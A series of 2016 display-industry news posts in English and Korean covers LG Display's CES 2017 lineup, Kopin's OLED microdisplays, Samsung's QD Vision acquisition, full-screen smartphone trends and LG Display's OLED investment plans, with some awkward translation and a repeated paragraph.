LG Display will showcase 65-inch and 77-inch UHD Wall Paper TV line-up with ultra thin and innovative design. It will also show off futuristic displays, including a 77-inch double-sided UHD display and 77-inch six rollable UHD commercial displays, which will open various possibilities of OLED with surpassed picture quality.

 

■ Constantly evolving IPS, Innovative LCD Technology

LG Display’s OLED(Organic Light-Emitting Diode) and a high-resolution technology IPS evolve further.
LG Display will show off IPS products with improved picture quality and price competitiveness by using WCG(Wide Color Gamut, a technology to provide a greater range of colors), HDR(High Dynamic Range, a technique to reproduce a greater dynamic range of luminosity), and high-resolution technical solutions.

Especially, IPS Nano Color at this show is LG Display’s own WCG technology that can express more accurate and vivid colors, using nano-sized wide color gamut.
It is increased with the addition of the strength of IPS OLED to offer high color accuracy. This show will apply it to a 65-inch UHD product.

 

■ User’s Expanded Touch Experience through in–TOUCH, Improved-quality Display

LG Display will expand in-TOUCH technology of touch sensor-embedded panel to 24-inch monitors, while showing off the key advantages of design to offer differentiated values to IT market through its high-resolution product strategy.

in-TOUCH technology offers a thinner and lighter product since there is no Touch Cover Glass.
In addition, Active Pen Solution is applied to a 13.3-inch in-TOUCH panel, so that it features higher touch accuracy outside the screen, faster touch response, and more precise calibration of the touch point, compared to conventional Add-on(touch sensor-added panel).

LG will also show not only the world’s largest 38-inch curve monitor suitable for such offices as stock trading, movie-watching, and immersive gaming but also 32-inch 8K monitor with ultra high resolution and HDR monitor panel for broadcasting and video editing experts.

 

■ Providing Future Vision through its P-OLED with Excellent Picture Quality and Design Freedom

LG Display will provide next-gen futuristic automotive display products through P-OLED(Plastic OLED) with superior picture quality and design freedom.

P-OLED featuring wide screen, perfect expression of black, and high design flexibility is an optimized technology to provide new vision to automotive interior in harmony with the curved surfaces of vehicles.
LG Display plans to have a showroom for visitors to experience futuristic concept products in a real situation, including Cluster that will provide better safety and convenience, Center Information Display, passenger seat display, large transparent OLED, and mirror-type OLED.

Besides, LG Display is aiming to enter the middle and small-sized OLED market through 5.5-inch QHD P-OLED. In addition, it will introduce the P-OLED for Smartwatches with diverse designs, including circular or square pattern.

LG Display Vice Chairman, Han Sang-beom announced “LG Display has offered leading products that can provide new values beyond the expectation of the market, with its differentiated technologies.” “It will proactively respond to the market through its next-generation display OECD and new innovative technologies, and consolidate its position as a leading company”.

 

BY HYUNJUN JANG, HANA OH

LG디스플레이, CES 2017에서 차세대 시장 선도 기술 대거 공개

<출처 : LG디스플레이, CES 2017에서 차세대 시장 선도 기술 대거 공개>

 

LG디스플레이가 1월 5일부터 8일까지 미국 라스베가스에서 개최되는 ‘CES (Consumer Electronics Show) 2017’ 전시회 기간 동안 더욱 다양한 제품들과 한계를 뛰어넘는 Next Level의 차별화된 기술력을 선보이며 적극적인 마케팅에 나선다.

LG디스플레이는 미국 라스베가스 컨벤션 센터에 고객사 전용 특별 전시관을 마련, 4일부터 8일까지 ‘Our Technology, Your Innovation’이라는 슬로건 하에 LG디스플레이만의 앞선 차별화 기술로 고객의 혁신을 함께 이루어 가겠다는 의지를 전달한다.

특히, LG디스플레이는 이번 전시회에서 극강의 화질은 기본, OLED의 차원이 다른 디자인과 무한한 가능성을 실현시킨 신제품 등, LG디스플레이만의 차별화된 기술력으로 고객들에게 새로운 미래를 제안하는 다양한 제품들을 선보일 예정이다.

 

■    극강의 화질, 디자인의 한계를 없앤 상상 이상의 OLED 신제품 최초 공개

LG디스플레이는 차원이 다른 화질을 구현할 뿐 아니라 응용 범위와 디자인 측면에서도 가능성이 무궁무진한 OLED만의 차별화된 가치를 실현한 제품들을 대거 공개한다.

 

이번에 전시된 55인치 FHD 투명 디스플레이는 기존 제품에 비해 색감이 개선되어 더욱 자연스럽고 투명한 화면을 구현한다. 종이처럼 얇은 혁신적인 디자인의 Wall Paper TV용 라인업은 UHD 65인치, 77인치로 전시된다. UHD 77인치 양면 디스플레이와 UHD 77인치 6장으로 구성한 기둥 형태의 커머셜 디스플레이 등 미래 지향적인 제품도 다양하게 전시되어 화질 그 이상의 가치를 제공하는 OLED의 다양한 가능성을 제시할 예정이다.

 

■    끊임없이 진화하는 IPS, 한계를 뛰어넘는 LCD 기술 선보여

 

LG디스플레이의 광시야각, 고해상도 기술인 IPS가 한 단계 더 진화한다. LG디스플레이는 더욱 높아진 투과율과 업그레이드된 화질을 기반으로 WCG(Wide Color Gamut, 넓은 범위의 색재현율을 구현하는 기술), HDR(High Dynamic Range, 명암비를 극대화하는 기술), 고해상도 기술 솔루션을 통해 화질 성능과 가격 경쟁력을 모두 높인 IPS 제품들을 다양하게 공개한다.

 

특히, 이번 전시회에서 선보이는 IPS Nano Color기술은 나노(Nano) 사이즈의 고색재현 입자를 사용해 보다 정확하고 풍부한 색을 표현할 수 있는 LG디스플레이만의 WCG 기술이다. 여기에 IPS가 가지는 광 시야각 강점이 더해져 어느 각도에서도 더욱 정확한 색상을 경험할 수 있게 한다. 이번 전시에서는 65인치 UHD제품에 적용하여 선보인다.

 

 

■    in–TOUCH 통한 터치 사용자 경험 확대와 Display 본연의 화질을 향상한 제품 공개

 

LG디스플레이는 터치 센서를 패널에 내재화한 in-TOUCH 기술을 24인치급 모니터까지 확대 적용하는 한편, 디자인 강점을 내세워 대형화, 고해상도 제품 전략으로 IT시장에서도 차별화된 가치를 제공한다.

 

in-TOUCH기술은 터치 커버 글라스(Touch Cover Glass)가 필요 없기 때문에, 더 얇고 가벼운 제품을 가능케 한다. 뿐만 아니라, 13.3인치 in-TOUCH 패널에 Active Pen Solution을 적용하여 기존 Add-on(패널 위에 터치 센서를 추가하는 방식)기술에 비해 화면 외곽 부분에서의 터치 정확도가 높고, 터치 인식 속도가 빠르며, 섬세한 필압 표현이 가능하다.

 

아울러 주식 거래 등 사무 환경 및 영화감상, 몰입감 있는 게이밍 등에 적합한 세계 최대 38인치급 곡면 모니터, 실물과 다름 없는 화질을 구현한 32인치급 8K 모니터 및 방송 및 영상 편집을 위한 전문가용 HDR 적용 모니터 패널들도 다수 선보인다.

 

■    화질 우수성과 디자인 자유도의 급이 다른 P-OLED 미래 비전 제시

 

LG디스플레이는 따라올 수 없는 화질과 디자인 자유도의 P-OLED(플라스틱 OLED) 기술로 차원이 다른 자동차용 미래 제품들을 제안한다.

 

대화면 및 완벽한 블랙 표현이 가능할 뿐 아니라 디자인 유연성까지 높은 P-OLED기술은 차량 곡면과 어우러지며 자동차 인테리어의 새로운 비전을 제시하는 데 최적화 된 기술이다. LG디스플레이는 안전과 편의성을 향상시킬 계기판 표시장치(Cluster), 중앙화면표시장치(Center Information Display), 조수석 디스플레이와 함께 대형 투명 OLED, 거울형 OLED 등의 미래 컨셉의 제품들을 실제 자동차에서 사용하듯 경험할 수 있는 전시 공간을 준비했다.

 

아울러 LG디스플레이는 5.5인치 QHD P-OLED로 본격적인 중소형 OLED 시장 진입을 노린다. 이외에도 원형, 사각 등 다양한 디자인의 스마트워치용 P-OLED제품을 선보인다.

 

LG디스플레이 한상범 부회장은 “LG디스플레이는 차별화된 기술로 시장의 기대를 넘어선 새로운 가치를 제공할 수 있는 선도적 제품들을 제안해 왔다”면서 “차세대 디스플레인 OLED 뿐 아니라 기존의 한계를 넘어선 새로운 기술들로 앞으로도 시장에 선제 대응하며 시장과 고객에게 차별화된 가치를 제공, 선도기업으로서의 입지를 확고히 해 나가겠다”고 밝혔다.

 

관련추천 기사 : LG Display, IDW 2016에서 OLED TV 및 조명용 최신 WOLED 소자의 개발 동향에 대해 발표

Kopin, entering OLED microdisplay market for mobile VR and AR with new technology and business model

kopinKopin, mobile VR and AR wearable technology development company, announced on December 21(local time) that they will enter OLED microdisplay market for mobile VR and AR application. This company’s very first OLED microdisplay is expected to be tested during CES 2017 held next month.

Kopin mentioned they developed a new silicon backplane structure which can implement OLED-on-silicon microdisplay without restrictions of size, weight, and power of the direct view products. The characteristic of this microdisplay is the ultra-high resolution, low power, and small form factor which provides excellent user experience in mobile and wearable system.

Kopin mentioned OLED-on-silicon microdisplay consists of two main factors, silicon backplane and OLED release layer. What is special of Kopin’s business model is that, where the expert knowledge is in Kopin, both of the two manufacturing operations are the very first full fab-less OLED microdisplay business model which is outsourced in private foundry. The main reason that Kopin got involved in this fab-less is that they expect the demand of OLED microdisplay will largely increase along with VR and AR, MR market, and also they think utilizing investments from other companies seems to be the best way to be prepared in the market because there is burden in capital investments in OLED foundry.

Kopin’s CEO, as well as the founder, Dr. John C.C. Fan said “Kopin is one of the biggest and successful suppliers of microdisplay system where more than 30 million of AMLCD and LCOS products are shipped”, and “by adding OLED microdisplay and module in product portfolio, Kopin provide various display technology and optics technology where customers evaluate various designs, and based on that, we were able to manufacture the product where the application is optimized.”

Lastly, Dr. Fan said “Kopin’s OLED microdisplay is specially manufactured so that the improved technology can be utilized well that are being improved in virtual and reinforcement, mixed reality applications field”, and mentioned “Kopin’s target is to occupy a portion where they can grow in the OLED microdisplay market”. Along with competing companies such as eMagin and Sony, what new type of OLED microdisplay panel will Kopin introduce is expected attract attention in CES 2017.

kopin2

<Kopin’s world’s smallest smart glass display publicized in January 2016, businesswire.com>

 

BY HYUNJUN JANG, HANA OH

Kopin, 새로운 기술과 비즈니스 모델로 mobile VR과 AR용 OLED microdisplay 시장에 진입

kopin

Mobile VRAR, wearable 기술 개발 업체인 Kopin은 현지시간으로 1221, 모바일 VR AR 어플리케이션을 위한 OLED microdisplay 시장에 진입 할 것이라고 발표했다. 이 회사의 첫 번째 OLED microdisplay는 다음 달에 열리는 CES 2017에서 시연 될 예정이다.

Kopindirect view 제품들의 크기나 무게, 전력의 제약 없이 고속 OLED-on-silicon microdisplay를 구현할 수 있는 새로운 실리콘 백플레인 구조를 개발했다고 밝혔다. microdisplay는 모바일 및 wearable 시스템에 뛰어난 user experience를 제공하는 초 고해상도, 저전력 및 소형 폼 팩터를 특징으로 한다.

KopinOLED-on-silicon microdisplay는 실리콘 백플레인과 OLED 방출 레이어라는 두 가지 핵심 요소로 구성 된다고 밝혔다. Kopin의 비즈니스 모델에 대한 독특한 점은 설계에 대한 전문 지식은 Kopin 내에 있는 반면, 두 제조 작업 모두 전용 파운드리에 아웃소싱 되는 최초의 full fab-less OLED microdisplay 비즈니스 모델이라는 점이다. Kopinfab-less에 뛰어든 가장 큰 이유는, VRAR, MR 시장이 성장할 때 OLED microdisplay에 대한 수요가 크게 증가할 것으로 보고 있으며, OLED 파운더리에 대한 자본 투자는 부담이 있기에 다른 기업들의 투자를 활용하는 것이 시장을 대비할 수 있는 최선의 방법이라고 보고 있기 때문이다.

Kopin CEO 겸 창립자인 Dr. John C.C. Fan“Kopin 3 천만 개가 넘는 AMLCD LCOS 제품이 출하 된 microdisplay 시스템의 가장 크고 성공적인 공급 업체 중 하나다라고 말하며, “Kopin OLED microdisplay 및 모듈을 제품 포트폴리오에 추가함으로써, 고객에게 다양한 디스플레이 기술과 광학 기술을 제공하여 고객이 다양한 디자인을 평가하고, 이를 토대로 목표로 삼은 애플리케이션의 최적화 된 제품을 만들 수 있게 되었다.”라고 언급했다.

끝으로 Dr. Fan“Kopin OLED microdisplay는 가상과 증강, 혼합 현실 응용 분야의 향상되는 기술들을 잘 활용할 수 있도록 특별 제작되었다.”라고 말하며, “KopinOLED microdisplay 시장의 성장에서 좋은 portion을 차지하는 것을 목표로 하고 있다라고 밝혔다. eMaginSony등 경쟁 업체들 속에서, Kopin이 다음달에 열리는 CES 2017에 어떠한 새로운 OLED microdisplay panel을 선보일지 귀추가 주목되고 있다.

kopin2

<2016년 1월에 공개 된 Kopin의 세계에서 가장 작은 smart glass display, businesswire.com>

Solution Process OLED 도입 예상효과는?

Solution process OLED는 발광층 재료들을 solvent에 녹인 후 용액화 하여 printing으로 형성한 OLED이다. 일본의 JOLED LG Display에서 가장 적극적으로 개발하고 있으며, 중국의 BOE CSOT에서도 개발을 진행중이다.

Solution process Gen8이상 원장에서 RGB pixel 구조의 대면적 OLED panel 구현이 가능하고, 재료사용효율이 높고 단순한 layer로 개발되고 있어 양산 성공 시 원가절감이 가능하다는 장점이 있다.

161221

Solution Process OLED 도입 시 기대 효과, “Market Entry Analysis for Solution Process OLED -The Possibilities and Opportunities Report”, UBI Research

하지만 soluble OLED 발광 재료의 효율과 수명이 증착재료 대비 낮다는 점과, OLED 구조와 재료가격이 정해지지 않은 점 등등의 다양한 이슈들이 존재하고 있다.

현재 대면적 OLED 시장은 WRGB 방식으로 프리미엄시장 공략의 전략을 펼치고 있지만 추후 LCDOLED로 대체하기 위해서는 저비용/고생산 기술이 핵심 요소이며, solution process OLED가 핵심기술이 될 것으로 예상된다.

대면적 OLED가 프리미엄 TV 시장에서 멈출지, 프리미엄 TV 시장에서 벗어나 중저가 TV시장까지 진출하여 LCD와 경쟁을 할지는 solution process OLED의 성공여부에 결정될 것으로 예상된다.

 

2017 will be an important year to be able to emphasize the innovation of OLED to consumers

1215

<Lee Woo-keun, a senior researcher at LG Economic Research Institute>

Lee Woo-keun, a senior researcher at LG Economic Research Institute, predicted that the year 2017 will be an important year to be able to emphasize the innovation of OLED to consumers, in the seminar for the 2016 OLED evaluation held at the Yeouido Small & Medium Business Center in Seoul, hosted by UbI Research on last December 2.

He added “LG is leading the OLED TV market in the premium TV market ahead of next year’s CES, but we will have to keep an eye on the impact of Sony’s joining” as one of the notable issues in large-sized OLED panels, and he continued “as there is still a fundamental expectation for Sony’s image quality among existing consumers, we will have to pay attention to what innovative appearance Sony’ OLED TVs will show and how they can appeal to consumers.

Referring to the adoption of OLED panels in Apple’s iPhone8 (tentative name) in the mobile phone market, as a small and medium issue, he said “it is important how to realize OLED display on Apple iphone 8, and how much impact it will have on consumers through this”. He said “if we could not show the innovation distinguishing it from existing LCDs despite adopting OLEDs, consumers’ expectations for OLEDs may be diminished,” emphasizing that it should draw meaningful responses to OLEDs from consumers’ perspective .

It is expected that Apple will launch iPhone applying flexible AMOLED panels in 2017, and Sony is also being confirmed to continuously review its entry into the OLED TV business. In 2017, it is expected that the number of set-makers launching OLED-applied products will increase more. In the situation that consumers are expecting a ‘completely new thing owned only by OLED products’, which is entirely different from existing LCD products, through various media reports and rumors, the year 2017 seems to be an important year to emphasize the innovation of OLED and to promote its merchantability.

2017년은 소비자에게 OLED의 혁신성을 강조할 수 있는 중요한 한 해가 될 것

1215

<2016 OLED 결산세미나, LG경제연구원 이우근 책임>

지난 122일 유비산업리서치 주관으로 서울 여의도 중소기업회관에서 열린 2016 OLED 결산세미나에서 LG경제연구원 이우근 책임은 2017년이 소비자에게 OLED의 혁신성을 강조할 수 있는 중요한 한해가 될 것으로 내다봤다.

이우근 책임은 대형 OLED 패널에서 주목할 만한 이슈 중 하나로 내년 CES를 앞두고 현재 premium TV 시장에서 OLED TVLG가 시장을 주도하고 있지만, Sony가 가세하게 될 때의 임팩트를 눈 여겨 봐야 할 것이라 언급하며, “여전히 기존 소비자들에게 Sony의 화질에 대한 기본적인 기대가 있는 만큼, 이러한 시각에서 SonyOLED TV가 어떠한 혁신적인 모습을 보여줄지, 또한 소비자에게 어떠한 호응을 이끌어 낼 수 있을지에 대해 관심있게 관찰 해야 될 것이라 말했다.

중소형 이슈로 mobile phone시장에서 AppleiPhone8(가칭)OLED 패널 채용을 언급하며 “Apple iPhone8OLED display를 어떠한 방식으로 구현할 것인지, 이를 통해 과연 소비자에게 얼마만큼의 임팩트를 줄 수 있을 것인지가 중요하다하고 말했다. 또한, “OLED를 적용했음에도 불구하고 기존 LCD와 차별화 된 혁신성을 보여주지 못한다면, 소비자들이 OLED에 대한 기대가 사그라질 수도 있다.”라고 말하며, 소비자 관점에서 OLED에 대한 의미 있는 호응을 이끌어 내야 함을 강조하였다.

2017년에는 Apple flexible AMOLED panel이 적용된 iPhone 출시될 것으로 기대되고 있으며, SonyOLED TV 사업 진입에 대해 지속적인 검토중인 것으로 확인되고 있다. 2017년에는 OLED를 적용한 제품을 출시하는 set업체가 더욱 늘어날 것으로 기대된다. 소비자들이 여러 언론 보도와 루머들을 통해 기존 LCD 제품들과는 다른 ‘OLED 제품만의 완전히 새로운 것을 기대하고 있는 상황에서, 2017년은 OLED의 혁신성을 강조하고 상품성을 내세울 수 있는 중요한 한 해가 될 것으로 보인다.

 

유비산업리서치, ‘2016 OLED 결산 세미나’ 개최

sem-1

전방 세트 산업에서 애플의 OLED 채택, 중국 세트업체의 공격적인 투자에 힘입어 OLED가 미래의 디스플레이로서 가장 유력하다고 보여지는 가운데 유비산업리서치는 오는 12월 2일 (금) 여의도 중소기업회관에서 2016 OLED 결산 세미나를 개최한다.

2016년에 BOE와 Tianma 가 6G Half, GVO 등이 5.5G Rigid 및 Flexible 등이 투자로 인하여 2017년 설비 입고가 시작되고, 2017년은 CSOT와 GVO 등이 6G Hlaf 투자로 인하여 본격적인 Flexible OLED 시대로 접어들어 중국 업체 간 경쟁이 매우 심화될 것으로 예상된다.

유비산업 리서치는 중국 전문가를 모시고 세 가지 양태로 진행되고 있는 중국 OLED 업체들의 투자 동향을 파악해보고 이에 따른 향후 OLED 시장 발전 동향 역시 세 가지 형태로 예측해보고자 한다.

 

또한 Flexible OLED가 갤럭시 스마트폰 플래그쉽 모델에 성공적으로 정착하였고 내년부터는 full screen 이라는 진화된 형태로 다시 한번 진화할 예정에 있어 국내 해외 시장에서의 귀추가 주목되고 있다. 이에 유비산업리서치 이 충훈 대표는 2016 OLED 어플리케이션별 이슈 분석과 2017 시장 전망이라는 주제로 발표할 예정이다.

그 밖에도 삼성증권 장 정훈 책임연구위원은 OLED 공급이 수요에게 던지는 이슈라는 대주제를 선택하여 이 이슈가 OLED 밸류체인에 미치는 영향에 대하여 전달할 예정이다. LG경제연구원 이 우근 책임연구원은 급변하는 디스플레이 사업에서 주목할 만한 이슈에 대해 공유할 예정이다.

이번 ’16 OLED 결산 세미나에 대한 더 자세한 정보는 유비산업리서치 홈페이지를 통해 찾아볼 수 있다.

Would it be possible to accelerate commercialization of QLED by Samsung Electronics’ acquisition of ‘QD Vision’?

According to the industry source dated Nov. 21, it was confirmed that Samsung Electronics was selected as a preferred bidder participating in the acquisition battle for ‘QD Vision’. The amount of acquisition proposed by Samsung Electronics is U$70million, and the industry expects that the final takeover will be agreed no later than the next week.

Quantum dot is the materials whose implementing color is different according to the size, and Samsung Electronics is introducing SUHD TV to the premium TV market, which improves the color reproduction rate by applying quantum dot sheet to LCD BLU for the first time in the world, and Chinese companies are actively launching the products.

‘QD Vision’ established by the researchers from MIT, is a specialized enterprise with high technology in the field of cadmium-based quantum dot and it is introducing non-cadmium-based material, too, lately. The industry considers that the acquisition of ‘QD vision’ by Samsung Electronics is the cornerstone to accelerate the commercialization of QLED along with the expansion of the quantum-dot TV market.

Although QLED is highly anticipated to be available to realize the panel with high purity as it is less impacted by oxygen and moisture than OLED and as it has a narrow half width, very low efficiency and life time compared to OLED materials are mentioned as the problem, under its initial stage of development. Furthermore, cadmium used in the core of quantum dot is highly toxic carcinogen, so Cd-free materials are being developed by ‘QD Vision’, ‘Nanoco’, ‘Nanosquare’, etc., however, its performance is lower than Cd-base materials. Therefore, the industry expects that it will take at least 5 years for QLED to be applied to mass production.

In the meantime, related with this issue, in the ‘Market penetration possibility analysis and seminar for QLED and Solution Process OLED’ hosted by UB Research in last October, Professor Chang-hee Lee of Seoul National University mentioned that, “If large-scale investment and manpower would be input, it is likely to find the product in earlier time than expected, and there is a possibility that the entry barrier can be lowered due to its similar structure to OLED”

It is highly attended that whether the acquisition of ‘QD vision’ by Samsung Electronics can accelerate the commercialization of QLED by becoming the starting point of large-scale investment, and what effect would be influenced to the display industry.

삼성전자의 QD vision 인수, QLED 상용화를 앞당길 수 있을까

21일 업계에 따르면 삼성전자는 최근 QD vision 인수전에 참여하여 우선협상 대상자로 선정 된 것으로 확인 됐다. 삼성전자가 제안한 인수금액은 7000만 달러로, 업계는 늦어도 다음 주 정도에 최종 인수에 합의 할 것으로 보고있다.

Quantum dot은 크기에 따라 구현하는 색이 다른 물질로, 삼성전자는 세계 최초로 LCD BLUquantum dot sheet를 적용하여 색재현율을 향상시킨 SUHD TV를 프리미엄 TV 시장에 선보이고 있으며, 중국업체들도 적극적으로 제품 출시를 하고 있다.

MIT 출신 연구자들이 설립한 QD vision은 카드뮴계 quantum dot 분야에서 기술력이 높은 전문 기업으로 최근에는 비카드뮴 소재도 선보이고 있다. 업계에서는 삼성전자의 QD vision 인수가 quantum dot TV 시장의 확대와 함께, QLED 상용화를 앞당기기 위한 초석으로 보고있다.

QLEDOLED에 비해 산소와 수분의 영향이 적고, 반치폭이 좁아 고색순도의 패널 구현이 가능할 것으로 기대를 모으고 있지만, 개발 초기단계로 OLED 재료와 비교하여 매우 낮은 효율과 수명이 문제점으로 언급되고 있다. 또한 quantum dot 중심체에 쓰이는 카드뮴은 유독성이 강한 발암물질로, QD visionNanoco, Nanosquare 등에서 Cd-free 물질을 개발 중이나 카드뮴 소재에 비해 성능이 낮다. 따라서 업계에서는 QLED가 양산에 적용되기까지는 최소 5년 이상 걸릴 것으로 예상하고 있다.

한편, 이와 관련해 서울대 이창희 교수는 지난 10월 유비산업리서치가 주관한 ‘QLED solution Process OLED 시장 진입 가능성 분석 및 세미나에서 대규모의 투자와 인력이 투입된다면 예상보다 이른 시기에 제품을 볼 수 있을 것으로 보이며, OLED와 구조가 비슷하여 진입 장벽이 낮아 질 가능성이 있다라고 언급했다.

삼성전자의 QD vision 인수가 대규모 투자의 시발점이 되어 QLED 상용화를 앞당길 수 있을지, 그리고 디스플레이 산업에 어떠한 영향을 미칠지 귀추가 주목되고 있다.

Who Will Get The First Full-Screen Display Smartphone Title, Samsung Or Apple?

Full-screen display smartphone is expected to be launched soon. According to the recent report ‘Key Issue and The Market Analysis for Foldable OLED – Flexible OLED Annual Report’ by UBI RESEARCH, a market survey company, left-right bezel-less flexible OLED dominate the smartphone market, and later full-screen display with minimized or without both left-right and up-down bezel will appear in 2017, thereby leading the future market.

161012_2

<Smartphone Display Development Trend Outlook>(Source: UBI RESEARCH)

The more specific circumstances were caught. Apple Insider announced that Apple recently applied for a design patent(US20150303244A1) of electronic devices with display-integrated light sensors, quoting the USPTO’s announcement on October 11(Local Time).

161110_2

<Design Drawing 1 of Apple’s Patent-Pending Electronic Devices with Display-Integrated Light Sensors>

Apple used the examples of the placement of Ambient Light Sensor or Proximity Sensor around the side of display, and of the protection of display and sensor circuit by glass or plastic transparent encapsulation layer. Apple Insider expects that this design will be able to reduce unnecessary space and make full-screen display possible.

161110_3

<Design Drawing 2 of Apple’s Patent-Pending Electronic Devices with Display-Integrated Light Sensors>

At the 2016 IMID Business Forum at COEX in Samseong-dong on October 26, Samsung Display chief expert, Park Won-sang announced display trend about screen size, which boosted confidence. Chief expert, Park Won-sang said that “Display size compared to set size is very important due to the characteristic of mobile phones with a size limit. The display area(hereinafter “D.A”) of edge display was 80%, full-screen mobile phone D.A was larger than 90%, and this is one of the major trends that will lead the market”. The techniques including an all-in-one glass fingerprint recognition module and an ultrasonic fingerprint recognition module have not been mentioned yet, but an entirely innovative full-screen smartphone will be introduced by removing left-right bezel as well going beyond the left-right bezel-less type of Note 7.

161028

<Samsung Display’s Presentation, 2016 IMID Business Forum>

LG also applied a patent of full-screen display. According to Patently Mobile’s report on June 2015, not physical but virtual button and App icon were applied. But, design itself cannot exactly show materials and interior parts except appearance, and it is now uncertain whether it will be developed or not as there is no further news after the patent application.

 

 

161110_4

<LG Electronics Granted Home-Buttonless Smartphone using Flexible Display>>(Source : Patently Apple)

Likewise, many smartphone companies are actively reviewing the introduction of full-screen display because it might allow customers to experience the biggest change in addition to the product’s immersive nature. Besides, there are recently some opinions that with the expanding VR market, OLED display without a latency issue and wider display area are necessary to be applied to HMD(Head Mounted Display) attached with a mobile phone.
Meanwhile, ‘Key issue and Market Analysis for Foldable OLED’ Report by UBI RESEARCH forecasted that full screen AMOLED panel will be firstly launched in 2017, accounting for 60% of the total flexible AMOLED panel market and going beyond the bezel-less type of flexible AMOLED panel market.

Meanwhile, ‘Key issue and Market Analysis for Foldable OLED’ Report by UBI RESEARCH forecasted that full screen AMOLED panel will be firstly launched in 2017, accounting for 60% of the total flexible AMOLED panel market and going beyond the bezel-less type of flexible AMOLED panel market.

bezel-less2

<Definition by Flexible OLED Type and Market Share Outlook >(Source: UBI RESEARCH)

LG Display, OLED Investment Ratio 50% this year → Next year 70%

During the 3Q performance conference call on 26th, LG Display mentioned that their investment ratio in OLED was 50% this year, and plans to increase its ratio to at least 70% next year.

Small and medium sized mobile display market will quickly change from LCD to POLED, and plans to strengthen business cooperation in 1Q of next year, such as mass production of 6th generation E5 line and technological competitiveness, in order to make the basis of OLED extension. It means they started to concentrate on small and medium sized OLED business starting next year.

They also revealed their production plan and future strategies of POLED production line. Gumi E5-1 line and E5-2 line are productions lines with monthly production capacity of 7500 sheets each, where they are proceeding POLED investments after converting existing LTPS facility, and also Paju E6 line is in process of investment to increase the monthly capacity of 15,000 sheets. It seems they will be capable for mass production by 2H 2018.

OLED TV market indicated that they will continue to put effort in cost reduction from improvements in rate, process, and production. They mentioned to establish OLED market more firmly in 1H of next year after successfully increasing the mass production capacity to 25,000 sheets. Among the entire TV panel, OLED sales took up 10%, and among OLED TV panel, 55-inch screen took up 70%, and they forecasted 65-inch market ratio will increase.

They noted they have high expectations of market growth in large screen HD field in large LCD. China is catching up in the market very fast but, they emphasized they will be able to easily acquire profitability by concentrating in high-end LCD such as OLED.

The biggest reason that they choice OLED as their next generation business is because there are possibilities in extension in automobile and commercial other than existing TV•monitor IT devices, and in case of automobiles, they said they are currently in cooperation with many other companies, and also informed many companies are interested in currently ongoing topic, VR, where they plan to adopt plastic OLED products.

In case of commercial products, they are proceeding developments with their customers in various fields such as medical and broadcasting other than public signage. They also mentioned that they are planning to proceed OLED light business after collecting many applications in one place.

From price increase of large LCD panel and extension of large-scale trend of all products, LG Display continued their profit relay for 18 consecutive quarters by resulting 3rd quarter sales of 6,723,800 million KRW and profit of 323,200 million KRW. Sales increased by 15% (5,855,100 million) compared to past quarter, operating profit increased by 634% compared to past quarter (44,400 million KRW) due to improvements in high-valued products such as ASP, UHD, and IPS.
On the other hand, according to Yubi industry research, LG Display forecasted to ship out 900 thousand large OLED panel in 2016, and 1,500 thousand in next year.

LG디스플레이, OLED 투자 비중 올해 50% → 내년 70%

LG디스플레이는 26일 진행된 3분기 실적 컨퍼런스콜을 통해 올해 OLED관련 투자 비중은 50%이며, 내년에는 적어도 70% 수준으로 투자비용을 늘릴 것이라고 밝혔다.

 

중소형 모바일 디스플레이 시장은 LCD에서 POLED로 전환이 가속화 될 것이며, 내년 상반기 6세대 E5라인 양산 안정성과 기술경쟁력을 확보하는 등 비즈니스 협력을 강화하여 OLED 확대 기반을 쌓는 원년으로 만들 것이라고 강조했다. 내년부터는 중소형 OLED 사업에 주력하기로 한 것이다.

POLED 생산라인의 생산계획과 미래전략도 밝혔다. 구미 E5-1라인과 E5-2라인은 각각 월 7500장 규모의 생산라인으로 기존 LTPS 설비를 전환해 POLED 투자를 진행하고 있으며 파주 E6라인도 월 1만5000장 규모로 투자를 진행중이다. 2018년 하반기에 양산이 가능할 것으로 밝혔다.

 

OLED TV 시장은 수율 및 프로세스 개선, 생산성 향상 등으로 코스트 절감 노력을 지속할 것이라고 밝혔다. 내년 상반기 8세대 2만5000장 capa를 성공적으로 양산하여 고객 다변화를 통한 OLED TV 시장을 더욱 견고히 구축할 것이라고 밝혔다. 올해 전체 TV 패널 중 OLED 매출 비중은 10%였고, OLED TV 패널 중 55인치 비중은 70%였으며, 내년에는 65인치 비중이 조금 더 증가할 것으로 예상된다고 전했다.

대형 LCD에서는 대형화 고해상도 영역에서 시장 성장의 기대감이 높다고 밝혔다. 중국의 추격이 거세지만 OLED 등 하이엔드 LCD에 집중한다면 2~3년 동안 충분히 수익성을 확보할 수 있다고 강조했다.

 

OLED 비즈니스를 차세대 사업으로 꼽은 가장 큰 이유는 기존 TV·모니터용 IT 기기 이외에 자동차, 커머셜용 등으로 확장성이 있으며 자동차의 경우 여러 업체와 협업을 진행 중이며 최근 화두인 VR 또한 플라스틱 OLED 제품 채택에 여러 업체가 관심을 보이고 있다고 밝혔다.

커머셜용의 경우 퍼블릭 사이니지 외에 의료용, 방송용 등 다양한 분야에서 실질적으로 고객과 개발 협업을 진행하고 있으며 OLED 조명 사업도 여러 애플리케이션을 한 곳으로 모아 조만간 방향성을 가지고 진행할 것이라고 덧붙였다.

 

LG디스플레이는 대형 LCD 패널 가격 상승과 전 제품군에 걸친 대면적 트렌드 확대로 3분기 매출 6조7238억원, 영입이익 3232억원을 달성하며 18분기 연속 영업이익 흑자 행진을 이어갔다. 매출은 전 분기(5조 8551억원) 대비 15% 상승했고, 영업이익은 평균거래가격(ASP)이 상승하고 UHD, IPS 등 고부가가치 제품 비중 증가에 힘입어 전 분기(444억원) 대비 634% 급증했다.

 

한편, 유비산업리서치에 따르면 LG디스플레이의 50인치이상 대면적 OLED panel은 2016년에는 90만대, 내년에는 150만대가 출하될 것으로 전망했다.

Aggressive investment on QLED, Shortcut of OLED commercialization

At ‘an analytical seminar on market entry potential of OLED and Solution Process OLED’ having been held in Seoul Small& Medium Business Center on last October 14th, Professor Lee Chang-hee of Seoul National University and Senior Researcher Bang Ji-won of Korea Institute of Ceramic Engineering and Technology shared opinions about current situations of QLED, development trends, and issues.

1610193

<Professor Lee Chang-hee of Seoul National University>

1610194

<Senior Researcher Bang Ji-won of Korea Institute of Ceramic Engineering and Technology>

